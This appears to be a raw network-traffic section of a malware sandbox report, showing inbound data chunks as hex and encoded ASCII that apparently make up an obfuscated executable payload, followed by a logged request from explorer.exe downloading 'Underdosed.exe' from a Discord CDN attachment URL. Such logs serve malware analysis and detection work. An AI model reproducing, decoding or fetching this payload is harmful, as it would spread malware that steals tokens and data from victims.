2021-12-01 08:14:01 UTC	176	IN	Data Raw: 00 5a 00 51 00 54 00 46 00 72 00 53 00 31 00 4a 00 42 00 4d 00 6b 00 6c 00 43 00 57 00 6b 00 70 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 73 00 5a 00 30 00 4e 00 4a 00 54 00 45 00 70 00 46 00 52 00 46 00 6c 00 6e 00 53 00 48 00 64 00 75 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 45 00 46 00 4c 00 54 00 55 00 49 00 30 00 5a 00 30 00 4a 00 70 00 51 00 56 00 56 00 44 00 5a 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6c 00 6c 00 42 00 5a 00 57 00 70 00 6f 00 62 00 55 00 5a 00 58 00 55 00 55 00 4a 00 6a 00 53 00 6a 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 78 00 6e 00 51 00 58 00 5a 00 4a 00 55 00 32 00 74 00 45 00 59 00 55 00 46 00 49 00 59 00 32 00 35 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 55 00 Data Ascii: ZQTFrS1JBMklCWkp3QUFBQUFsZ0NJTEpFRFlnSHduQUFBQUFDVEFLTUI0Z0JpQVVDZEFBQUFBSllBZWpobUZXUUJjSjhBQUFBQWxnQXZJU2tEYUFIY253QUFBQUNXQU
2021-12-01 08:14:01 UTC	180	IN	Data Raw: 57 00 68 00 6e 00 5a 00 32 00 46 00 45 00 61 00 45 00 46 00 42 00 62 00 56 00 46 00 49 00 4d 00 6d 00 39 00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 30 00 39 00 72 00 54 00 33 00 6c 00 52 00 51 00 32 00 46 00 42 00 5a 00 6a 00 5a 00 70 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 6b 00 34 00 55 00 54 00 52 00 52 00 51 00 55 00 70 00 76 00 51 00 6b 00 49 00 32 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 6f 00 53 00 45 00 4a 00 4e 00 61 00 30 00 46 00 74 00 64 00 30 00 56 00 51 00 62 00 33 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 52 00 54 00 68 00 46 00 52 00 55 00 46 00 44 00 59 00 6b 00 46 00 53 00 61 00 57 00 70 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 Data Ascii: WhnZ2FEaEFBbVFIMm9nQUFBQUNHQ09rT3lRQ2FBZjZpQUFBQUFJWUk4UTRRQUpvQkI2TUFBQUFBaGdoSEJNa0Ftd0VQb3dBQUFBQ0dDRThFRUFDYkFSaWpBQUFBQUlZS
2021-12-01 08:14:01 UTC	184	IN	Data Raw: 00 51 00 30 00 64 00 44 00 52 00 54 00 68 00 46 00 52 00 55 00 46 00 45 00 52 00 6b 00 46 00 69 00 62 00 57 00 35 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 54 00 42 00 6e 00 59 00 6b 00 70 00 42 00 54 00 56 00 6c 00 43 00 64 00 32 00 46 00 6a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 70 00 68 00 51 00 6d 00 68 00 42 00 51 00 58 00 68 00 6e 00 53 00 45 00 74 00 77 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 52 00 30 00 4e 00 4d 00 56 00 55 00 6c 00 79 00 65 00 47 00 5a 00 49 00 51 00 57 00 52 00 4c 00 62 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 4a 00 64 00 6c 00 46 00 70 00 4d 00 55 00 59 00 34 00 59 00 30 00 49 00 79 00 4e 00 6d 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 Data Ascii: Q0dDRThFRUFERkFibW5BQUFBQUlZSTBnYkpBTVlCd2FjQUFBQUFoZ2phQmhBQXhnSEtwd0FBQUFDR0NMVUlyeGZIQWRLbkFBQUFBSVlJdlFpMUY4Y0IyNmNBQUFBQWh
2021-12-01 08:14:01 UTC	188	IN	Data Raw: 52 00 42 00 53 00 56 00 6c 00 5a 00 4b 00 31 00 52 00 4f 00 4d 00 45 00 46 00 50 00 64 00 30 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 51 00 58 00 68 00 6e 00 52 00 7a 00 42 00 49 00 4e 00 6b 00 31 00 55 00 4e 00 32 00 64 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 64 00 30 00 52 00 48 00 51 00 57 00 45 00 34 00 5a 00 6b 00 39 00 43 00 61 00 6e 00 6c 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 45 00 46 00 4e 00 57 00 55 00 4a 00 77 00 55 00 6a 00 6c 00 47 00 52 00 31 00 42 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 31 00 42 00 61 00 47 00 68 00 71 00 4e 00 55 00 30 00 7a 00 55 00 55 00 45 00 72 00 5a 00 30 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 33 00 52 00 45 Data Ascii: RBSVlZK1ROMEFPd0JBQUFBQUFNQXhnRzBINk1UN2dFQUFBQUFBd0RHQWE4Zk9CanlBUUFBQUFBREFNWUJwUjlGR1BnQkFBQUFBQU1BaGhqNU0zUUErZ0VBQUFBQUF3RE
2021-12-01 08:14:01 UTC	192	IN	Data Raw: 00 30 00 46 00 42 00 51 00 57 00 64 00 45 00 4c 00 31 00 46 00 52 00 51 00 57 00 64 00 42 00 64 00 30 00 52 00 30 00 53 00 56 00 46 00 4a 00 51 00 55 00 4a 00 42 00 52 00 48 00 56 00 52 00 55 00 55 00 46 00 42 00 51 00 6c 00 46 00 45 00 51 00 56 00 42 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 4d 00 77 00 55 00 45 00 46 00 42 00 51 00 55 00 4a 00 33 00 51 00 6b 00 5a 00 52 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 42 00 4f 00 56 00 46 00 42 00 51 00 55 00 46 00 44 00 55 00 55 00 46 00 6d 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 52 00 52 00 44 00 42 00 52 00 55 00 55 00 46 00 42 00 51 00 57 00 64 00 44 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 52 00 52 00 31 00 46 00 42 00 51 00 55 00 46 00 6e 00 52 00 44 00 42 00 52 00 Data Ascii: 0FBQWdEL1FRQWdBd0R0SVFJQUJBRHVRUUFBQlFEQVBBQUFCZ0MwUEFBQUJ3QkZRQUFBQ0FBOVFBQUFDUUFmT0FBQUFRRDBRUUFBQWdDVFFBQUFBUUNRR1FBQUFnRDBR
2021-12-01 08:14:01 UTC	197	IN	Data Raw: 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 00 42 00 51 00 56 00 46 00 44 00 63 00 30 00 78 00 6e 00 51 00 55 00 46 00 42 00 5a 00 30 00 45 00 78 00 54 00 30 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 79 00 74 00 51 00 55 00 55 00 46 Data Ascii: BQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUFBQVFDc0xnQUFBZ0ExT0FBQUF3QytQUUF
2021-12-01 08:14:01 UTC	201	IN	Data Raw: 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 54 00 30 00 70 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 4e 00 50 00 53 00 6d 00 64 00 42 00 51 00 55 00 46 00 52 00 51 00 30 00 39 00 4b 00 5a 00 30 00 46 00 42 00 51 00 Data Ascii: FDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQVFDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQVFDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQVFDT0pnQUFBUUNPSmdBQUFRQ09KZ0FBQ
2021-12-01 08:14:01 UTC	205	IN	Data Raw: 51 00 6b 00 46 00 4f 00 52 00 55 00 45 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 78 00 46 00 51 00 55 00 4e 00 35 00 54 00 55 00 4a 00 42 00 53 00 32 00 74 00 42 00 57 00 6c 00 56 00 42 00 59 00 6b 00 46 00 42 00 64 00 30 00 46 00 45 00 65 00 6a 00 68 00 75 00 51 00 55 00 74 00 72 00 51 00 55 00 6c 00 55 00 4d 00 45 00 4a 00 42 00 53 00 32 00 74 00 42 00 52 00 48 00 6f 00 34 00 63 00 30 00 46 00 43 00 55 00 55 00 45 00 32 00 65 00 6b 00 30 00 31 00 51 00 55 00 68 00 46 00 51 00 6a 00 5a 00 36 00 54 00 6b 00 4e 00 42 00 53 00 47 00 74 00 43 00 4b 00 31 00 52 00 4e 00 51 00 6b 00 46 00 4f 00 52 00 55 00 49 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 6c 00 46 00 51 00 79 00 74 00 55 00 54 00 55 00 4a 00 42 00 53 00 57 00 74 00 44 00 4b 00 31 00 52 00 4e Data Ascii: QkFORUErVE1CQUxFQUN5TUJBS2tBWlVBYkFBd0FEejhuQUtrQUlUMEJBS2tBRHo4c0FCUUE2ek01QUhFQjZ6TkNBSGtCK1RNQkFORUIrVE1CQUlFQytUTUJBSWtDK1RN
2021-12-01 08:14:01 UTC	208	IN	Data Raw: 00 72 00 52 00 55 00 78 00 43 00 4d 00 56 00 56 00 43 00 55 00 32 00 74 00 46 00 63 00 55 00 51 00 34 00 51 00 6b 00 46 00 4e 00 52 00 55 00 4e 00 52 00 65 00 6a 00 46 00 61 00 51 00 6c 00 4e 00 72 00 52 00 56 00 5a 00 55 00 51 00 6d 00 64 00 43 00 57 00 47 00 74 00 42 00 4b 00 31 00 52 00 4e 00 51 00 6b 00 46 00 50 00 55 00 55 00 45 00 32 00 65 00 6b 00 38 00 78 00 51 00 55 00 39 00 33 00 51 00 55 00 52 00 36 00 4f 00 47 00 35 00 42 00 54 00 33 00 64 00 42 00 57 00 6c 00 56 00 42 00 59 00 6b 00 46 00 44 00 61 00 30 00 49 00 72 00 56 00 45 00 31 00 43 00 51 00 56 00 42 00 52 00 51 00 53 00 74 00 55 00 54 00 6a 00 42 00 42 00 54 00 47 00 74 00 44 00 57 00 44 00 42 00 47 00 4c 00 30 00 4a 00 55 00 64 00 30 00 45 00 72 00 56 00 45 00 31 00 43 00 51 00 56 00 Data Ascii: rRUxCMVVCU2tFcUQ4QkFNRUNRejFaQlNrRVZUQmdCWGtBK1RNQkFPUUE2ek8xQU93QUR6OG5BT3dBWlVBYkFDa0IrVE1CQVBRQStUTjBBTGtDWDBGL0JUd0ErVE1CQV
2021-12-01 08:14:01 UTC	212	IN	Data Raw: 7a 00 68 00 55 00 4b 00 31 00 4a 00 45 00 56 00 6b 00 56 00 47 00 4d 00 6c 00 49 00 32 00 57 00 55 00 52 00 58 00 61 00 30 00 59 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 64 00 72 00 52 00 6d 00 6c 00 70 00 61 00 30 00 5a 00 42 00 52 00 32 00 74 00 47 00 59 00 6b 00 4e 00 72 00 52 00 6b 00 46 00 48 00 61 00 30 00 5a 00 5a 00 51 00 6d 00 39 00 47 00 51 00 55 00 64 00 72 00 52 00 6c 00 46 00 45 00 4f 00 45 00 5a 00 42 00 52 00 32 00 74 00 47 00 54 00 6e 00 6c 00 72 00 52 00 6b 00 46 00 47 00 52 00 55 00 5a 00 61 00 52 00 46 00 4e 00 6d 00 52 00 46 00 68 00 46 00 52 00 69 00 74 00 55 00 54 00 55 00 4a 00 42 00 53 00 45 00 56 00 47 00 55 00 32 00 67 00 32 00 62 00 55 00 52 00 5a 00 52 00 55 00 59 00 72 00 56 00 45 00 31 00 43 00 51 00 55 00 6c 00 46 00 52 Data Ascii: zhUK1JEVkVGMlI2WURXa0YrVE1CQUdrRmlpa0ZBR2tGYkNrRkFHa0ZZQm9GQUdrRlFEOEZBR2tGTnlrRkFGRUZaRFNmRFhFRitUTUJBSEVGU2g2bURZRUYrVE1CQUlFR
2021-12-01 08:14:01 UTC	228	IN	Data Raw: 55 00 5a 00 52 00 51 00 55 00 52 00 42 00 51 00 55 00 6c 00 42 00 61 00 47 00 64 00 42 00 52 00 6b 00 46 00 42 00 52 00 55 00 46 00 6f 00 64 00 30 00 46 00 47 00 51 00 55 00 46 00 4a 00 51 00 57 00 6c 00 42 00 51 00 55 00 68 00 42 00 51 00 55 00 56 00 42 00 61 00 56 00 46 00 42 00 53 00 45 00 46 00 42 00 53 00 55 00 46 00 74 00 55 00 55 00 46 00 4b 00 51 00 55 00 46 00 46 00 51 00 57 00 31 00 6e 00 51 00 55 00 70 00 42 00 51 00 55 00 6c 00 42 00 63 00 58 00 64 00 42 00 54 00 45 00 46 00 42 00 53 00 55 00 46 00 34 00 64 00 30 00 46 00 4f 00 51 00 55 00 46 00 4a 00 51 00 58 00 70 00 33 00 51 00 56 00 42 00 42 00 51 00 55 00 6c 00 42 00 4e 00 33 00 64 00 42 00 55 00 6b 00 46 00 42 00 52 00 55 00 45 00 34 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 4a 00 51 Data Ascii: UZRQURBQUlBaGdBRkFBRUFod0FGQUFJQWlBQUhBQUVBaVFBSEFBSUFtUUFKQUFFQW1nQUpBQUlBcXdBTEFBSUF4d0FOQUFJQXp3QVBBQUlBN3dBUkFBRUE4QUFSQUFJQ
2021-12-01 08:14:01 UTC	240	IN	Data Raw: 00 43 00 65 00 6c 00 70 00 59 00 55 00 6d 00 5a 00 54 00 56 00 31 00 46 00 34 00 54 00 56 00 46 00 43 00 52 00 6d 00 4a 00 75 00 55 00 6e 00 42 00 6b 00 53 00 47 00 74 00 34 00 54 00 56 00 46 00 43 00 53 00 6c 00 70 00 45 00 53 00 58 00 68 00 42 00 53 00 45 00 35 00 74 00 54 00 58 00 70 00 53 00 61 00 47 00 4d 00 79 00 55 00 58 00 6c 00 4e 00 55 00 55 00 45 00 31 00 54 00 30 00 52 00 72 00 4d 00 6b 00 35 00 55 00 5a 00 45 00 56 00 53 00 52 00 47 00 74 00 36 00 54 00 6c 00 52 00 6a 00 64 00 30 00 39 00 45 00 52 00 58 00 64 00 53 00 56 00 46 00 46 00 36 00 55 00 58 00 70 00 57 00 51 00 30 00 31 00 56 00 57 00 54 00 4a 00 50 00 52 00 56 00 55 00 78 00 54 00 57 00 70 00 72 00 4d 00 45 00 35 00 71 00 51 00 6b 00 52 00 52 00 56 00 47 00 4d 00 31 00 54 00 6d 00 Data Ascii: CelpYUmZTV1F4TVFCRmJuUnBkSGt4TVFCSlpESXhBSE5tTXpSaGMyUXlNUUE1T0RrMk5UZEVSRGt6TlRjd09ERXdSVFF6UXpWQ01VWTJPRVUxTWprME5qQkRRVGM1Tm
2021-12-01 08:14:01 UTC	256	IN	Data Raw: 00 72 00 4e 00 56 00 4a 00 45 00 62 00 45 00 56 00 52 00 61 00 30 00 6c 00 33 00 55 00 6c 00 56 00 56 00 4d 00 45 00 31 00 71 00 5a 00 7a 00 46 00 53 00 61 00 6c 00 6c 00 33 00 54 00 55 00 52 00 73 00 52 00 56 00 46 00 56 00 52 00 6b 00 4e 00 53 00 61 00 6d 00 4d 00 77 00 54 00 54 00 42 00 4a 00 4e 00 55 00 35 00 71 00 55 00 58 00 68 00 53 00 51 00 55 00 4a 00 55 00 5a 00 56 00 68 00 4f 00 4d 00 46 00 70 00 58 00 4d 00 48 00 56 00 53 00 53 00 45 00 70 00 6f 00 5a 00 44 00 4a 00 73 00 64 00 56 00 70 00 35 00 4e 00 55 00 56 00 6a 00 62 00 55 00 59 00 7a 00 59 00 56 00 63 00 31 00 62 00 6b 00 31 00 72 00 55 00 55 00 46 00 53 00 61 00 31 00 45 00 77 00 55 00 58 00 70 00 6a 00 4d 00 31 00 46 00 36 00 51 00 6b 00 52 00 4f 00 52 00 46 00 46 00 33 00 54 00 6c 00 Data Ascii: rNVJEbEVRa0l3UlVVME1qZzFSall3TURsRVFVRkNSamMwTTBJNU5qUXhSQUJUZVhOMFpXMHVSSEpoZDJsdVp5NUVjbUYzYVc1bk1rUUFSa1EwUXpjM1F6QkRORFF3Tl
2021-12-01 08:14:01 UTC	272	IN	Data Raw: 00 35 00 64 00 6d 00 4a 00 47 00 54 00 6e 00 42 00 6c 00 62 00 56 00 56 00 42 00 56 00 46 00 63 00 35 00 64 00 57 00 46 00 59 00 55 00 6e 00 5a 00 6a 00 62 00 45 00 35 00 77 00 5a 00 57 00 31 00 56 00 51 00 57 00 4a 00 74 00 56 00 6a 00 4e 00 56 00 4d 00 6d 00 77 00 32 00 57 00 6c 00 46 00 43 00 56 00 46 00 70 00 59 00 53 00 6e 00 42 00 5a 00 56 00 33 00 68 00 77 00 5a 00 57 00 31 00 56 00 51 00 56 00 4a 00 48 00 56 00 6e 00 70 00 61 00 57 00 45 00 70 00 77 00 57 00 56 00 64 00 34 00 63 00 47 00 56 00 74 00 56 00 55 00 46 00 56 00 4d 00 31 00 5a 00 33 00 59 00 30 00 68 00 4b 00 62 00 47 00 4d 00 7a 00 54 00 6b 00 64 00 68 00 56 00 7a 00 56 00 6f 00 59 00 6b 00 64 00 73 00 4e 00 6c 00 70 00 52 00 51 00 6c 00 4e 00 61 00 57 00 45 00 35 00 77 00 5a 00 57 00 Data Ascii: 5dmJGTnBlbVVBVFc5dWFYUnZjbE5wZW1VQWJtVjNVMmw2WlFCVFpYSnBZV3hwZW1VQVJHVnpaWEpwWVd4cGVtVUFVM1Z3Y0hKbGMzTkdhVzVoYkdsNlpRQlNaWE5wZW
2021-12-01 08:14:01 UTC	288	IN	Data Raw: 00 6f 00 61 00 47 00 4a 00 74 00 4e 00 57 00 78 00 69 00 53 00 45 00 31 00 42 00 56 00 54 00 4a 00 4f 00 61 00 47 00 4a 00 72 00 57 00 6e 00 42 00 69 00 52 00 33 00 68 00 36 00 51 00 55 00 56 00 34 00 63 00 47 00 4d 00 7a 00 55 00 6c 00 42 00 61 00 62 00 45 00 4a 00 35 00 59 00 6a 00 4a 00 6b 00 65 00 56 00 6c 00 58 00 4d 00 58 00 70 00 42 00 52 00 6b 00 34 00 31 00 59 00 7a 00 4e 00 53 00 62 00 47 00 4a 00 54 00 4e 00 56 00 68 00 68 00 56 00 7a 00 56 00 72 00 59 00 6a 00 4e 00 6b 00 65 00 6b 00 78 00 72 00 57 00 6e 00 5a 00 6a 00 62 00 54 00 46 00 36 00 51 00 55 00 56 00 6b 00 62 00 47 00 52 00 47 00 55 00 6e 00 5a 00 68 00 4d 00 6c 00 5a 00 31 00 59 00 33 00 64 00 43 00 61 00 32 00 49 00 79 00 4d 00 57 00 68 00 68 00 56 00 7a 00 56 00 36 00 51 00 55 00 Data Ascii: oaGJtNWxiSE1BVTJOaGJrWnBiR3h6QUV4cGMzUlBabEJ5YjJkeVlXMXpBRk41YzNSbGJTNVhhVzVrYjNkekxrWnZjbTF6QUVkbGRGUnZhMlZ1Y3dCa2IyMWhhVzV6QU
2021-12-01 08:14:01 UTC	304	IN	Data Raw: 00 5a 00 51 00 57 00 46 00 52 00 51 00 6e 00 4e 00 42 00 52 00 31 00 56 00 42 00 54 00 47 00 64 00 43 00 55 00 30 00 46 00 48 00 56 00 55 00 46 00 5a 00 55 00 55 00 4a 00 72 00 51 00 55 00 46 00 43 00 57 00 6c 00 46 00 6e 00 51 00 6b 00 52 00 42 00 52 00 56 00 6c 00 42 00 59 00 56 00 46 00 43 00 63 00 30 00 46 00 48 00 56 00 55 00 46 00 4d 00 5a 00 30 00 4a 00 51 00 51 00 55 00 68 00 42 00 51 00 56 00 70 00 52 00 51 00 6e 00 56 00 42 00 53 00 45 00 6c 00 42 00 5a 00 56 00 46 00 43 00 64 00 30 00 46 00 49 00 55 00 55 00 46 00 53 00 64 00 30 00 4a 00 73 00 51 00 55 00 56 00 5a 00 51 00 57 00 46 00 52 00 51 00 6e 00 4e 00 42 00 52 00 31 00 56 00 42 00 54 00 47 00 64 00 43 00 55 00 45 00 46 00 49 00 51 00 55 00 46 00 61 00 55 00 55 00 4a 00 31 00 51 00 55 00 Data Ascii: ZQWFRQnNBR1VBTGdCU0FHVUFZUUJrQUFCWlFnQkRBRVlBYVFCc0FHVUFMZ0JQQUhBQVpRQnVBSElBZVFCd0FIUUFSd0JsQUVZQWFRQnNBR1VBTGdCUEFIQUFaUUJ1QU
2021-12-01 08:14:01 UTC	320	IN	Data Raw: 00 77 00 51 00 6b 00 56 00 76 00 52 00 45 00 31 00 43 00 51 00 55 00 46 00 43 00 51 00 32 00 63 00 30 00 52 00 55 00 46 00 42 00 51 00 56 00 4a 00 52 00 55 00 56 00 56 00 6e 00 51 00 56 00 4a 00 47 00 51 00 6b 00 4e 00 42 00 54 00 57 00 64 00 42 00 51 00 57 00 39 00 6a 00 51 00 6e 00 64 00 72 00 56 00 6b 00 56 00 70 00 4d 00 45 00 4a 00 46 00 62 00 30 00 52 00 46 00 52 00 47 00 63 00 30 00 56 00 6b 00 56 00 70 00 4d 00 45 00 4a 00 46 00 62 00 30 00 52 00 46 00 52 00 57 00 31 00 33 00 53 00 55 00 56 00 76 00 52 00 45 00 56 00 45 00 61 00 45 00 74 00 42 00 65 00 45 00 46 00 6a 00 56 00 6b 00 56 00 70 00 4d 00 45 00 4a 00 46 00 62 00 30 00 52 00 46 00 52 00 30 00 46 00 6a 00 53 00 45 00 5a 00 53 00 53 00 58 00 52 00 42 00 55 00 6b 00 74 00 42 00 4d 00 45 00 Data Ascii: wQkVvRE1CQUFCQ2c0RUFBQVJRUVVnQVJGQkNBTWdBQW9jQndrVkVpMEJFb0RFRGc0VkVpMEJFb0RFRW13SUVvREVEaEtBeEFjVkVpMEJFb0RFR0FjSEZSSXRBUktBME
2021-12-01 08:14:01 UTC	336	IN	Data Raw: 00 77 00 52 00 6b 00 4e 00 43 00 51 00 55 00 6c 00 44 00 55 00 57 00 74 00 6e 00 51 00 6c 00 46 00 72 00 57 00 55 00 52 00 6f 00 4d 00 45 00 5a 00 44 00 51 00 57 00 64 00 50 00 53 00 55 00 46 00 72 00 53 00 6b 00 64 00 43 00 5a 00 30 00 39 00 46 00 51 00 6d 00 64 00 5a 00 51 00 30 00 49 00 77 00 52 00 6b 00 4e 00 42 00 61 00 30 00 64 00 42 00 51 00 55 00 6c 00 50 00 53 00 46 00 46 00 56 00 54 00 30 00 4e 00 42 00 51 00 55 00 4e 00 49 00 55 00 56 00 56 00 6b 00 51 00 6c 00 49 00 77 00 52 00 6b 00 52 00 70 00 51 00 55 00 5a 00 49 00 55 00 56 00 56 00 6b 00 51 00 6c 00 49 00 77 00 52 00 6b 00 68 00 52 00 56 00 57 00 52 00 43 00 55 00 6a 00 42 00 47 00 51 00 6b 00 4e 00 42 00 51 00 6b 00 4e 00 43 00 5a 00 30 00 64 00 4a 00 51 00 55 00 31 00 5a 00 52 00 47 00 Data Ascii: wRkNCQUlDUWtnQlFrWURoMEZDQWdPSUFrSkdCZ09FQmdZQ0IwRkNBa0dBQUlPSFFVT0NBQUNIUVVkQlIwRkRpQUZIUVVkQlIwRkhRVWRCUjBGQkNBQkNCZ0dJQU1ZRG
2021-12-01 08:14:01 UTC	352	IN	Data Raw: 00 46 00 51 00 57 00 4e 00 6e 00 51 00 6d 00 78 00 42 00 52 00 6b 00 46 00 42 00 59 00 32 00 64 00 43 00 64 00 6b 00 46 00 46 00 57 00 55 00 46 00 68 00 55 00 55 00 4a 00 7a 00 51 00 55 00 64 00 56 00 51 00 56 00 56 00 33 00 51 00 6a 00 56 00 42 00 53 00 45 00 31 00 42 00 5a 00 45 00 46 00 43 00 62 00 45 00 46 00 48 00 4d 00 45 00 46 00 61 00 51 00 55 00 49 00 78 00 51 00 55 00 64 00 4e 00 51 00 57 00 52 00 42 00 51 00 6a 00 68 00 42 00 52 00 56 00 6c 00 42 00 59 00 56 00 46 00 43 00 65 00 55 00 46 00 48 00 56 00 55 00 46 00 53 00 5a 00 30 00 4a 00 77 00 51 00 55 00 64 00 33 00 51 00 56 00 70 00 52 00 51 00 6c 00 52 00 42 00 53 00 47 00 74 00 42 00 59 00 33 00 64 00 43 00 4d 00 45 00 46 00 48 00 56 00 55 00 46 00 69 00 55 00 55 00 49 00 7a 00 51 00 55 00 Data Ascii: FQWNnQmxBRkFBY2dCdkFFWUFhUUJzQUdVQVV3QjVBSE1BZEFCbEFHMEFaQUIxQUdNQWRBQjhBRVlBYVFCeUFHVUFSZ0JwQUd3QVpRQlRBSGtBY3dCMEFHVUFiUUIzQU
2021-12-01 08:14:01 UTC	368	IN	Data Raw: 00 52 00 51 00 56 00 70 00 6e 00 51 00 55 00 46 00 42 00 53 00 45 00 46 00 42 00 57 00 56 00 46 00 43 00 4d 00 45 00 46 00 48 00 5a 00 30 00 46 00 42 00 51 00 55 00 56 00 44 00 51 00 58 00 64 00 52 00 52 00 30 00 4e 00 42 00 5a 00 30 00 46 00 42 00 51 00 55 00 31 00 47 00 51 00 6c 00 46 00 46 00 52 00 45 00 46 00 6e 00 56 00 55 00 64 00 42 00 55 00 55 00 6c 00 47 00 54 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 Data Ascii: RQVpnQUFBSEFBWVFCMEFHZ0FBQUVDQXdRR0NBZ0FBQU1GQlFFREFnVUdBUUlGTXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
2021-12-01 08:14:01 UTC	384	IN	Data Raw: 00 6a 00 62 00 47 00 31 00 50 00 55 00 7a 00 56 00 6c 00 57 00 57 00 78 00 68 00 63 00 46 00 46 00 57 00 65 00 57 00 56 00 57 00 63 00 43 00 39 00 69 00 61 00 6d 00 56 00 5a 00 4e 00 6d 00 59 00 77 00 64 00 58 00 42 00 61 00 52 00 57 00 56 00 69 00 4e 00 6d 00 52 00 54 00 59 00 6e 00 64 00 50 00 56 00 69 00 39 00 74 00 54 00 56 00 56 00 58 00 62 00 6a 00 55 00 34 00 62 00 45 00 4a 00 73 00 55 00 44 00 52 00 4d 00 65 00 6d 00 6c 00 6a 00 4e 00 31 00 49 00 7a 00 54 00 43 00 73 00 31 00 56 00 57 00 5a 00 55 00 51 00 79 00 39 00 44 00 57 00 57 00 78 00 36 00 59 00 32 00 6c 00 72 00 52 00 6c 00 4a 00 48 00 63 00 31 00 67 00 72 00 63 00 56 00 6c 00 58 00 4b 00 33 00 6b 00 32 00 4e 00 55 00 68 00 6d 00 4f 00 55 00 52 00 6c 00 59 00 31 00 6f 00 77 00 65 00 6e 00 Data Ascii: jbG1PUzVlWWxhcFFWeWVWcC9iamVZNmYwdXBaRWViNmRTYndPVi9tTVVXbjU4bEJsUDRMemljN1IzTCs1VWZUQy9DWWx6Y2lrRlJHc1grcVlXK3k2NUhmOURlY1owen

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49832	162.159.130.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-01 08:15:22 UTC	390	OUT	GET /attachments/914960103592054858/914986994759794738/Underdosed.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
